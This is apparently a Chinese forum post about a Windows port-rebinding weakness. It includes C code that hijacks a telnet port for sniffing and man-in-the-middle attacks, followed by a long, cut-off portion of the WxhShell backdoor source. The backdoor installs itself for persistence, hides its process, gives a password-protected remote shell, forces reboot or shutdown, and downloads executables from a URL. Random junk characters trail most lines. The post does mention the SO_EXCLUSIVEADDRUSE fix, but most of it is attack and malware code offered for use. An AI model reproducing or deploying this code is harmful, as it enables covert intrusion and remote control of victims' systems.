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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]Dd}^khv  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bZ-_Q  
gCjW !t  
  saddr.sin_family = AF_INET; /<e<-C*d&<  
t E(_Cg  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); sgfci{~  
z?M_Cz;:J  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }|9!|Q  
?qJt4Om  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 LLD#)Jl{?  
7) zF8V  
  这意味着什么?意味着可以进行如下的攻击: xN +Oca  
3 [r9v!l  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ej#pM.  
|?\J,h  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 'i;/?'!W6  
De^Uc  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #O,;3S  
4m"6$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  'wT !X[jF  
EFdo-.Ax  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 CY</v,\:#  
,~nrNkhp  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Cw$7d:u  
r- 8fvBZ5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )[np{eF.k  
kD\7wz,ui  
  #include yLgv<%8f  
  #include oU)Hco"_k  
  #include 5i1E 5@~  
  #include    Hpj7EaMZ_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   A?+cdbxJw  
  int main() w^Atd|~gi  
  { ESyb34T`  
  WORD wVersionRequested; bB+ 4  
  DWORD ret; TJ_pMU  
  WSADATA wsaData; &G$K. q  
  BOOL val; Wo2W/{  
  SOCKADDR_IN saddr; @aC9O 9|~  
  SOCKADDR_IN scaddr; |E?,hTRe5  
  int err; 4r tNvf5`  
  SOCKET s; zXZXp~7)  
  SOCKET sc; ~kp,;!^vr  
  int caddsize; H aA2y  
  HANDLE mt; t$EL3U/(  
  DWORD tid;   +aZcA#%  
  wVersionRequested = MAKEWORD( 2, 2 ); T?k!%5,Kj  
  err = WSAStartup( wVersionRequested, &wsaData ); ?8!\VNC.  
  if ( err != 0 ) { &[W53Lqa  
  printf("error!WSAStartup failed!\n"); E@/* eJ  
  return -1; qq '%9  
  } :>K8oE  
  saddr.sin_family = AF_INET; S.R|Bwj}(Y  
   }'WEqNuE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9,cMb)=0  
xRbtiFk9H  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *&doI%q  
  saddr.sin_port = htons(23); rr^?9M*{V  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dGG8k&  
  { bZlKy`Z  
  printf("error!socket failed!\n"); K:q|M?_  
  return -1; MRN=-|fV^  
  } :-tMH02c  
  val = TRUE; +[2ep"5H  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3,^.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ngOGo =  
  { t_kRYdW9  
  printf("error!setsockopt failed!\n"); Y+nk:9  
  return -1; ' '<3;  
  } jT*?Z:U  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7-VP)|L#G  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *X\J[$!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0q o]nw  
3W3)%[ 5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) f-`C1|\w  
  { ] XjL""EbC  
  ret=GetLastError(); +lw8YH  
  printf("error!bind failed!\n"); U W' @3#<?  
  return -1; %\] x}IC  
  } trz &]v=:  
  listen(s,2); |a!]Iqz"N  
  while(1) @kWRI*m  
  { #pnB+h&tE  
  caddsize = sizeof(scaddr); ^t Y _ q  
  //接受连接请求 Y2aN<>f  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8}K4M(  
  if(sc!=INVALID_SOCKET) agd^ga3  
  { D9JHx+Xf>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yrG=2{I  
  if(mt==NULL) V/]o':  
  { &3f^]n!@  
  printf("Thread Creat Failed!\n"); _sK{qQxvM=  
  break; $1Qcz,4B|  
  } yY_#fJj  
  } 2" u,f  
  CloseHandle(mt); PW+B&7{  
  } 0]xp"xOwW  
  closesocket(s); |ITh2m  
  WSACleanup(); f~:wI9  
  return 0; c2wgJH!g  
  }   `+!F#.  
  DWORD WINAPI ClientThread(LPVOID lpParam) \: Q)X$6  
  { -"6Z@8=  
  SOCKET ss = (SOCKET)lpParam; ^@f.~4P*I  
  SOCKET sc; &AnWMFo  
  unsigned char buf[4096]; p^)w$UL}}  
  SOCKADDR_IN saddr; 'fPDODE  
  long num; u]Z;Q_=  
  DWORD val; 7O,!67+^~  
  DWORD ret; zs.@=Z"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 d}<-G.&_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (bAw>  
  saddr.sin_family = AF_INET; =Q#d0Q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2H/{OQ$  
  saddr.sin_port = htons(23); D"CU J?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) elz0t<V  
  { ,</Kn~b  
  printf("error!socket failed!\n"); Zp/$:ny  
  return -1; 3z% W5[E)  
  } `(M0I!t  
  val = 100; O=}d:yZb!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Sq]QRI/  
  { L&0aS:  
  ret = GetLastError(); YySo%\d  
  return -1; S]Ye`  
  } 6&o?#l;|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oSLm?Lu  
  { uyvjo)T  
  ret = GetLastError(); D2I|Z  
  return -1; 0UhJ I  
  } 7Y5.GW\^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) N(%(B  
  { Jwpc8MQ  
  printf("error!socket connect failed!\n"); %+oqAY m+s  
  closesocket(sc); Hu+GN3`sx^  
  closesocket(ss); KNjU!Z/4  
  return -1; A<+1:@0  
  } m(`O>zS  
  while(1) =w/AJ%6  
  { <c$rfjM+JU  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 iKu4s  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 L_q3m-x0h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uH)?`I\zrd  
  num = recv(ss,buf,4096,0); .'NTy R  
  if(num>0) g3f; JB   
  send(sc,buf,num,0); QUDpAW  
  else if(num==0) NAOCQDk{  
  break; 7^C&2k 5G  
  num = recv(sc,buf,4096,0); iN_P25Z<r  
  if(num>0) /[!<rhY  
  send(ss,buf,num,0); g(i8HU*{q  
  else if(num==0) $LVzhQlD  
  break; [eFJ+|U9  
  }  uU=!e&3  
  closesocket(ss); Ygc|9}  
  closesocket(sc); K>TEt5  
  return 0 ; 0 \V)DV.i  
  } e,MgR\F}  
tX6_n%/L  
qWJHb Dd  
========================================================== V''fmWo7  
|g'ceG-  
下边附上一个代码,,WXhSHELL 3H|drj:KV  
,(&Fb~r]  
========================================================== M 5$JBnN  
13pu{Xak  
#include "stdafx.h" i,t!17M:  
Ns]$+|  
#include <stdio.h> jig3M N  
#include <string.h> bd H+M?k  
#include <windows.h> z[@i=avPG  
#include <winsock2.h> m\70&%v  
#include <winsvc.h> a#l ytp  
#include <urlmon.h> rBOH9L  
Z5 7.+z<  
#pragma comment (lib, "Ws2_32.lib") YFDOp *  
#pragma comment (lib, "urlmon.lib")  DTa!vg  
iNc!z A4  
#define MAX_USER   100 // 最大客户端连接数 N6`U)=2o>h  
#define BUF_SOCK   200 // sock buffer iCCe8nK  
#define KEY_BUFF   255 // 输入 buffer ]E)\>Jb  
'bsHoO  
#define REBOOT     0   // 重启 C DoD9Hq,  
#define SHUTDOWN   1   // 关机 `z$P,^g`  
UyFC\vQ  
#define DEF_PORT   5000 // 监听端口 4sW'pH  
_%Yi ^^  
#define REG_LEN     16   // 注册表键长度 Uq~b4X$  
#define SVC_LEN     80   // NT服务名长度 UD.ZnE{"  
efE=5%O  
// 从dll定义API ":q+"*fy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *Ms&WYN-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 97~>gFU77#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TZGk[u^*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s6r(\L_Im  
Mdh]qKw  
// wxhshell配置信息 +v$W$s&b-h  
struct WSCFG { 0+u >"7T  
  int ws_port;         // 监听端口  v7Ps-a)  
  char ws_passstr[REG_LEN]; // 口令 H23 O]r  
  int ws_autoins;       // 安装标记, 1=yes 0=no sPVE_n  
  char ws_regname[REG_LEN]; // 注册表键名 ,SNt*t1"  
  char ws_svcname[REG_LEN]; // 服务名 3hxV`rb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6}VFob#h8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e=aU9v L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |KVVPXtq%C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <sw=:HU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A3*(c3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NC Y2^  
hn\d{HP  
}; h-RhmQA=Iz  
'$eJATtC  
// default Wxhshell configuration {> 8?6m-  
struct WSCFG wscfg={DEF_PORT, Z/!awf>  
    "xuhuanlingzhe", *_7/'0E(3  
    1, o';/$xrH  
    "Wxhshell", y0ObcP.MA  
    "Wxhshell", @WJ\W`P  
            "WxhShell Service", M< .1U?_#  
    "Wrsky Windows CmdShell Service", ~mwIr  
    "Please Input Your Password: ", >#'?}@FWQN  
  1, ^b}Wl0Fn  
  "http://www.wrsky.com/wxhshell.exe", C/H;|3.X  
  "Wxhshell.exe" bwcr/J( Nb  
    }; Fn iht<  
AJE$Z0{q  
// 消息定义模块 w^("Pg`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U=7nz|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dsj}GgG?Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0TSB<,9a[  
char *msg_ws_ext="\n\rExit."; #ti%hm  
char *msg_ws_end="\n\rQuit."; BvH?d]%  
char *msg_ws_boot="\n\rReboot..."; 8e^uKYR<  
char *msg_ws_poff="\n\rShutdown..."; k<M Q  
char *msg_ws_down="\n\rSave to "; 7S^G]g!x  
8qaU[u&$  
char *msg_ws_err="\n\rErr!"; g<,0kl2'S  
char *msg_ws_ok="\n\rOK!"; 0 q1x+  
0 x' d^  
char ExeFile[MAX_PATH]; 8ICV"8(  
int nUser = 0; /AyxkXq  
HANDLE handles[MAX_USER]; s$? LMfT  
int OsIsNt; &CSy>7&q  
hvQXYo>TZx  
SERVICE_STATUS       serviceStatus; %4Qs|CM)m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ipl,{  
6y1\ar(A  
// 函数声明 yTh%[k  
int Install(void); cIG7 Q"4  
int Uninstall(void); "a}fwg9Y  
int DownloadFile(char *sURL, SOCKET wsh); mF|KjX~s  
int Boot(int flag); )7[#Ti  
void HideProc(void); 2ZEGE+0  
int GetOsVer(void); erbk (  
int Wxhshell(SOCKET wsl); \G7F/$g  
void TalkWithClient(void *cs); =6O*AJ  
int CmdShell(SOCKET sock); -ucgET`  
int StartFromService(void); >T c\~l  
int StartWxhshell(LPSTR lpCmdLine); s;=C&N5g  
zH6@v +gb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2%6 >)|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B /w&Lo  
F?05+  
// 数据结构和表定义 t*-c X  
SERVICE_TABLE_ENTRY DispatchTable[] = x#N_h0[i  
{ RPte[tq  
{wscfg.ws_svcname, NTServiceMain}, -`eB4j'7  
{NULL, NULL} kd\Hj~*  
}; (Nk[ys}%*  
P9f`<o  
// 自我安装 2<y9xvp  
int Install(void) |#M|"7;2z  
{ a'/i/@h  
  char svExeFile[MAX_PATH]; u%+k\/Scp.  
  HKEY key; hjM?D`5x  
  strcpy(svExeFile,ExeFile); +xU({/  
l"1D' Hk  
// 如果是win9x系统,修改注册表设为自启动 rUmP_  
if(!OsIsNt) { FMI1[|:;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lw[c+F7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1^E5VG1[  
  RegCloseKey(key); {jmy:e2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3l41"5Fy&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z b$]9(RS  
  RegCloseKey(key); Qubu;[0+a  
  return 0; 6]d]0TW_  
    } #v xq|$e  
  } m%apGp'=1  
} qt*+ D  
else { X!/Sk1  
X?wZ7*'1  
// 如果是NT以上系统,安装为系统服务 Bf;_~1+vLG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `OWHf?t:  
if (schSCManager!=0) u4w!SD  
{ z\A ),;  
  SC_HANDLE schService = CreateService S#v3%)R  
  ( jBOl:l,+  
  schSCManager, h=:/9O{H  
  wscfg.ws_svcname, m,!SD Cq  
  wscfg.ws_svcdisp,  fFqYRK  
  SERVICE_ALL_ACCESS, @sA!o[gH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A;RV~!xx  
  SERVICE_AUTO_START, ^bfZd  
  SERVICE_ERROR_NORMAL, Z[d13G;  
  svExeFile,  0.0-rd>  
  NULL, A)>#n)  
  NULL, 3B 'j?+A  
  NULL, fz:(mZ%  
  NULL, t(-,mw  
  NULL -X~|jF  
  ); u;-fG9xs  
  if (schService!=0) xlu4  
  { ByJPSuc D  
  CloseServiceHandle(schService); 0V(}Zj>  
  CloseServiceHandle(schSCManager); Zx_ ^P:rL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "O<ETHd0  
  strcat(svExeFile,wscfg.ws_svcname); 2~?E'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PWiUW{7z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JHvev,#4  
  RegCloseKey(key); kVs YB  
  return 0; OM&GypP6&  
    } 4d4+%5GE  
  } ] 2qKc  
  CloseServiceHandle(schSCManager); M?%x= q\<  
} 9g5h~ Ma  
} ? \,^>4x?  
usD@4!PoA  
return 1; -Z$u[L [c  
} aE 9Y |6  
=!^ gQ0~4  
// 自我卸载 3cL iZ%6^  
int Uninstall(void) adX"Yg!`{c  
{ !=,Y=5M,  
  HKEY key; -|uoxj>  
`>)Ge](oN  
if(!OsIsNt) { R=LiB+p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 35e{{Gn)v  
  RegDeleteValue(key,wscfg.ws_regname); vBl:&99[/  
  RegCloseKey(key); -LszaMR}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xi(\=LbhY  
  RegDeleteValue(key,wscfg.ws_regname); o25rKC=o  
  RegCloseKey(key); Lm2) 3;ei  
  return 0; UWvVYdy7  
  } -R:_o1"  
} cS9jGD92  
} @|DQZt  
else { Coe/4! $M  
.Lna\Bv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pLtw|S'4  
if (schSCManager!=0) 2icQ (H;  
{ e@W+ehx"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m)Kg6/MV.  
  if (schService!=0) x'I!f? / &  
  { O.(2  
  if(DeleteService(schService)!=0) { +K`A2&F9  
  CloseServiceHandle(schService); ~s'tr&+  
  CloseServiceHandle(schSCManager); kt978qfk  
  return 0; W H/.h$  
  } 7<] EH:9  
  CloseServiceHandle(schService); p|ink):  
  } ?e<2'\5v  
  CloseServiceHandle(schSCManager); }ARA K^%  
} K8_v5  
} gE#'Zv{7  
KZw~Ch}b9  
return 1; g gx_h  
} \xCCJWek  
P8,Ps+  
// 从指定url下载文件 4>>=TJ!M  
int DownloadFile(char *sURL, SOCKET wsh) 2.Qz"YDh =  
{ ?zf3Fn2y  
  HRESULT hr; zR^Gy"  
char seps[]= "/"; gYc]z5`  
char *token; Oti*"dV\::  
char *file; wc4BSJa,19  
char myURL[MAX_PATH]; ]2wxqglh)  
char myFILE[MAX_PATH]; #Or;"}P>fB  
o6k#neB>=.  
strcpy(myURL,sURL); $z jdCg<  
  token=strtok(myURL,seps); aIV / c  
  while(token!=NULL) - |g"q|  
  { '% QCNO/  
    file=token; vyIH<@@p7  
  token=strtok(NULL,seps); E>|X'I?r^  
  } *(F`NJ 3  
WYUDD_m  
GetCurrentDirectory(MAX_PATH,myFILE); 6`e7|ilh6  
strcat(myFILE, "\\"); Z)#UCoK!c  
strcat(myFILE, file); a,c!#iyl3  
  send(wsh,myFILE,strlen(myFILE),0); 9_?xAJ  
send(wsh,"...",3,0); "+ou!YK+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <ukBAux,D  
  if(hr==S_OK) >Q\Kc=Q|  
return 0; xf]K  
else ]$@D=g,r  
return 1; w#|L8VAh  
i.vH$  
} R}M ;, G  
IT_I.5*A2  
// 系统电源模块 :eVZ5?F  
int Boot(int flag) =Xh)34q  
{ @i1e0;\  
  HANDLE hToken; -Lh7!d  
  TOKEN_PRIVILEGES tkp; 3N2d V6u  
;/j2(O^  
  if(OsIsNt) { >CqzC8JF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E[]5Od5#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~P1~:AT  
    tkp.PrivilegeCount = 1; P2-&Im`+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {_O!mI*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o eU i  
if(flag==REBOOT) { /uwi$~Ed  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _qxI9Q}<"  
  return 0; ?FQ#I~'<  
} XVYFyza;  
else { @Nek;xJ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e"nm<&  
  return 0; b|d-vnYE  
} 52e>f5m.  
  } <W"W13*j!  
  else { O,Q.-  
if(flag==REBOOT) { hJ}i+[~be  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j<B9$8x&  
  return 0; vwU1}H  
} >.iF,[.[F<  
else { f~`=I NrU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q5+1'mzAB  
  return 0; 'dLw8&T+W  
} 2s\ClT  
} f2i:I1 p("  
08`|C)Z!  
return 1; #Vq9 =Q2  
} :aesG7=O  
E#B-JLMGl  
// win9x进程隐藏模块 ?l0eU@rwQ  
void HideProc(void) E7:xPNU  
{ =:- fK-d  
ci~#G[_$S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FE~D:)Xj'?  
  if ( hKernel != NULL ) Z7;V}[wie  
  { _QPqF{iI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e5|lz.o;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #).$o~1ht!  
    FreeLibrary(hKernel); fjh|V9H  
  } C$OVN$lL`8  
 ?Y(  
return; ,QY$:f<  
} +1ICX  
<+roY"  
// 获取操作系统版本 lB,1dw2(T  
int GetOsVer(void) /Nf{;G!kg  
{ ;w7mr1  
  OSVERSIONINFO winfo; y6XOq>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l|P"^;*zq  
  GetVersionEx(&winfo); Yj/afn(Jt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'NEl`v*<P  
  return 1; u^" I3u8$  
  else \Z[1m[{  
  return 0; d1<";b2Jt^  
} r;#"j%z  
!6!)H8rX  
// 客户端句柄模块 6Y9N= \`  
int Wxhshell(SOCKET wsl) Kxr@!m"  
{ x'GB#svi  
  SOCKET wsh; PsC")JS  
  struct sockaddr_in client; p}1i[//S  
  DWORD myID; p['RV  
RY , <*  
  while(nUser<MAX_USER) .H" ?& Mf  
{ AUnfhk@$  
  int nSize=sizeof(client); 8tj]@GE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XUqorE  
  if(wsh==INVALID_SOCKET) return 1; Eb8pM>'qM  
//R"ZE@d\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8 #_pkVQw:  
if(handles[nUser]==0) O=B =0  
  closesocket(wsh); De?VZ2o9"  
else BI1M(d#1L"  
  nUser++; ,>;21\D  
  } aZFpt/.d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $D bnPZ2$  
17LhgZs&  
  return 0; 5 ~Wg=u<6  
} Z>hTL_|]a{  
;*A'2ymXUT  
// 关闭 socket #-/W?kD  
void CloseIt(SOCKET wsh) x/*lNG/  
{ to={q CqU  
closesocket(wsh); 82r8K|L.<y  
nUser--; -$Oh.B`i  
ExitThread(0); 3_(_yEKx  
} .WSyL  
1Cr&6't  
// 客户端请求句柄 ,"v&r(  
void TalkWithClient(void *cs) cU1o$NRx  
{ LP2~UVq  
[h/T IGE\  
  SOCKET wsh=(SOCKET)cs;  ;Shu  
  char pwd[SVC_LEN]; lA^1}  
  char cmd[KEY_BUFF]; b9b Ivjm_  
char chr[1]; M5dYcCDE  
int i,j; NkZG   
bZqTT~'T  
  while (nUser < MAX_USER) { J=g)rd[`  
O2w-nd74U  
if(wscfg.ws_passstr) { zF1!a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e;]tO-Nu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =rjU=3!&(  
  //ZeroMemory(pwd,KEY_BUFF); "#Rh\DQ  
      i=0; O0  'iq^g  
  while(i<SVC_LEN) { Un?|RF  
@@65t'3S  
  // 设置超时 +7_qg i7:  
  fd_set FdRead; broLC5hbQU  
  struct timeval TimeOut; YF%gs{  
  FD_ZERO(&FdRead); T &ZQ ie/  
  FD_SET(wsh,&FdRead); dWAt#xII  
  TimeOut.tv_sec=8; kf, &t   
  TimeOut.tv_usec=0; Iy<>-e"|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >jm(2P(R   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); afm\Iv[*  
LEb$Fd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AO#9XDEM  
  pwd=chr[0]; YpZB-9Krf  
  if(chr[0]==0xd || chr[0]==0xa) { 1"h"(dA  
  pwd=0; Jw)JV~/0  
  break; q m3\) 9C  
  } b1&tk~D  
  i++; fvu{(Tb  
    } ]Q^)9uE\D  
Cf% qap#  
  // 如果是非法用户,关闭 socket YT\`R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d"wA"*8~y  
} G|6qL  
77>oQ~q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8mI(0m'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0At0`Q#  
[+ud7l  
while(1) { f ULt4  
'{&Q&3J_  
  ZeroMemory(cmd,KEY_BUFF); RSX27fb4  
9YzV48su#  
      // 自动支持客户端 telnet标准   ~?Zib1f)  
  j=0; PR:k--)D  
  while(j<KEY_BUFF) { bo0U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pv -4psdw  
  cmd[j]=chr[0]; r!:yUPv  
  if(chr[0]==0xa || chr[0]==0xd) { |iM,bs  
  cmd[j]=0; u]p21)m$x  
  break; d:kB Zrq  
  } ?UnQ?F(+G<  
  j++; Jf YgZ\#  
    } Kz HYh  
lC<;Q*Y  
  // 下载文件 ' zyw-1  
  if(strstr(cmd,"http://")) { i|:!I)(lh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -|>~I#vY  
  if(DownloadFile(cmd,wsh)) G m~ ./-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C}huU  
  else -/f$s1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *+M#D^qo  
  } {j2V k)\[i  
  else { mLCD N1UO{  
}b_Ob  
    switch(cmd[0]) { #QNN;&L]R  
  AA\a#\#Z3  
  // 帮助 f"6W ;b2L.  
  case '?': { dGKo!;7{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n0(Q/  
    break; f%G\'q]#F  
  } u`MM K4 %  
  // 安装 hD6BP  
  case 'i': { d NACE*g;q  
    if(Install()) lF}[ YL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nY'V,v[F  
    else VfU"%0x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (r|m&/  
    break; 05d0p|},  
    } `TBXJ(Y  
  // 卸载 k{' ZaP)  
  case 'r': { zdN[Uc+1Bd  
    if(Uninstall()) b:==:d:0s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z.Cj%N  
    else o'2eSm0H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PK|-2R"M  
    break; 35\ |#2qw6  
    } W+h2rv  
  // 显示 wxhshell 所在路径 <-VBb[M#  
  case 'p': { F#Lo^ 8  
    char svExeFile[MAX_PATH]; br I;}m  
    strcpy(svExeFile,"\n\r"); rA~f68h|  
      strcat(svExeFile,ExeFile); Z?)g'n  
        send(wsh,svExeFile,strlen(svExeFile),0); 7;jD>wp 9D  
    break; "O34 E?ql.  
    } \|=6<ZY:  
  // 重启 (< +A  w7  
  case 'b': { HP# SR';E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :=Olp;+_  
    if(Boot(REBOOT)) AtQ.H-8r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $*q|}Tvl#  
    else { :ld~9  
    closesocket(wsh); {'b;lA]0  
    ExitThread(0); )/RG-L  
    } /,\V}`Lx"  
    break; -^_2{i  
    } VF`!ks  
  // 关机 fyQOF ItM  
  case 'd': { (b25g!  
